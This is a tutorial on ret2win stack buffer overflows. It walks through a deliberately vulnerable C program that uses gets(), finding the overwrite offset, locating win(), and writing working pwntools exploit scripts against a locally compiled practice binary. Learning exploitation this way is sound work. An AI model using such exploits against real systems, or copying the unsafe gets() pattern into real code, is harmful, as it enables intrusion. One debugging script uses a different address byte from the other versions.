Definition
Definition
A ret2win challenge is the most basic challenge in binary exploitation, where the goal is to change the normal flow of execution
to execute another function to win, which usually reads a flag.
#include <stdio.h>
#include <stdlib.h>
void win()
{
system("/bin/cat flag.txt");
}
void pwnme()
{
char buffer[20] = {0};
printf("Hello, what is your name ?\n");
gets(buffer);
printf("Hello %s\n", buffer);
}
int main()
{
pwnme();
return 0;
}
When looking at the code, there is no way to normally call the function win().
But with what we've seen before, it is actually possible to hijack the execution flow:
we just need to overwrite the EIP (saved return address) with the address of win().
But to do that, we need to find the exact number of bytes until we overwrite the EIP (the "padding").
Guided example
- Copy paste the above code into
main.c
Then run the following commands to compile into a binary.
gcc -m32 -no-pie main.c -o main
echo 'FAKE_FLAG{CYBER2}' > flag.txt
Finding the padding
We could send "A" and increase the number of "A" until we find the correct padding,
but there are many faster ways.
We'll explain one of them here, you can find the others in the cheatsheet.
We'll use pwn cyclic <n> to generate a "De Bruijin" sequence, where there is no similar substrings.
➜ ~ pwn cyclic 40
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
Run the program, and paste the generated sequence
➜ ~ ./main
Hello, what is your name?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
[1] 617 segmentation fault (core dumped) ./mainCheck the messages from the kernel ring buffer
➜ ~ dmesg -t
# ...
main[95689]: segfault at 61616169 ip 0000000061616169 sp 00000000ffb661b0 error 14 in libc-2.31.so[f7db5000+19000] likely on CPU 3 (core 0, socket 6)
Code: Unable to access opcode bytes at RIP 0x6161613f.Copy the address where the program segfaulted
➜ ~ pwn cyclic -l 0x61616169
32
So we need to write 32 bytes to reach the saved return address.
Finding the address
What address do we put in place of the original saved return address ?
The address of the function win().
To find its address, we can just list the symbols in the binary
➜ ~ nm main
# ...
08049192 T win
# ...
So the address of the function win() is 0x08049192.
Writing a first exploit
We could send raw bytes directly from the CLI, but it's ugly and not practical, so we'll use python and pwntools instead.
from pwn import *
target = './main'
elf = context.binary = ELF(target)
payload = 'A' * 32 # padding
payload += '\x08\x04\x91\x92' # address of `win()`
p = process() # no need to put the path in arguments, since the context.binary is set
log.info(p.clean()) # receive output
p.sendline(payload) # send the payload
log.info(p.clean()) # receive output with flag
We run the exploit :
~ python3 exploit.py
[*] '/root/main'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process '/root/main': pid 730
/usr/local/lib/python3.9/dist-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] Hello, what is your name?
/root/exploit.py:12: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(payload) # send the payload
/usr/local/lib/python3.9/dist-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x04
[*] Process '/root/main' stopped with exit code -11 (SIGSEGV) (pid 730)
It looks like it did not work. The flag was not printed.
Let's try to understand why, using gdb.
First run tmux (gdb requires it when inside a docker container)
Edit the exploit, and re-run it :
from pwn import *
target = './main'
elf = context.binary = ELF(target)
payload = 'A' * 32 # padding
payload += '\x08\x04\x91\x86' # address of `win()`
p = process() # no need to put the path in arguments, since the context.binary is set
gdb.attach(p) # attach gdb to the process
log.info(p.clean()) # receive output
p.sendline(payload) # send the payload
p.interactive() # set to interactive mode so that we can control gdb
log.info(p.clean()) # receive output with flag
Continue until it crashes :
pwndbg> c

Do you recognize the invalid address 0x92910408 ?
Hint
Answer
win() function, but written in reverse order. The reason is the endianness. There are 2 types of endianness: big-endian, and little-endian. Most binaries you will work with are little-endian. A quick explanation is that bytes are represented in reverse order in memory for little-endian binaries. If you want to know more about it, check this page.Finding the endianness
We can use pwntools for that :
➜ ~ pwn checksec main
[*] '/root/main'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
It is clearly stated in Arch: the binary supports 32-bit architecture, in little-endian.
Accounting for endianness
In python, reversing a string is quite easy:
payload += '\x08\x04\x91\x92'[::-1]
So our updated exploit looks like :
from pwn import *
target = './main'
elf = context.binary = ELF(target)
payload = 'A' * 32 # padding
payload += '\x08\x04\x91\x92'[::-1] # address of `win()`
p = process() # no need to put the path in arguments, since the context.binary is set
print(p.clean()) # receive output
p.sendline(payload) # send the payload
print(p.clean()) # receive output with flag
Run the exploit again :
➜ ~ python3 exploit.py
[*] '/root/main'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process '/root/main': pid 860
/usr/local/lib/python3.9/dist-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] Hello, what is your name?
/root/exploit.py:12: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(payload) # send the payload
/usr/local/lib/python3.9/dist-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0
FAKE_FLAG{CYBER2}
[*] Stopped process '/root/main' (pid 860)
Endianness with pwntools
pwntools has a built-in function to make endianness simpler.
payload += '\x08\x04\x91\x92'[::-1] # address of `win()`
can be replaced with :
payload += p32(0x08049192)
However, it will convert the address to bytes, so we have to change the first part of the payload.
payload = b'A' * 32 # notice the b
Otherwise you will get an error :
TypeError: can only concatenate str (not "bytes") to str
Writing the final exploit
from pwn import *
target = './main'
elf = context.binary = ELF(target)
payload = b'A' * 32
payload += p32(0x08049192)
p = process()
log.info(p.clean())
p.sendline(payload)
log.info(p.clean())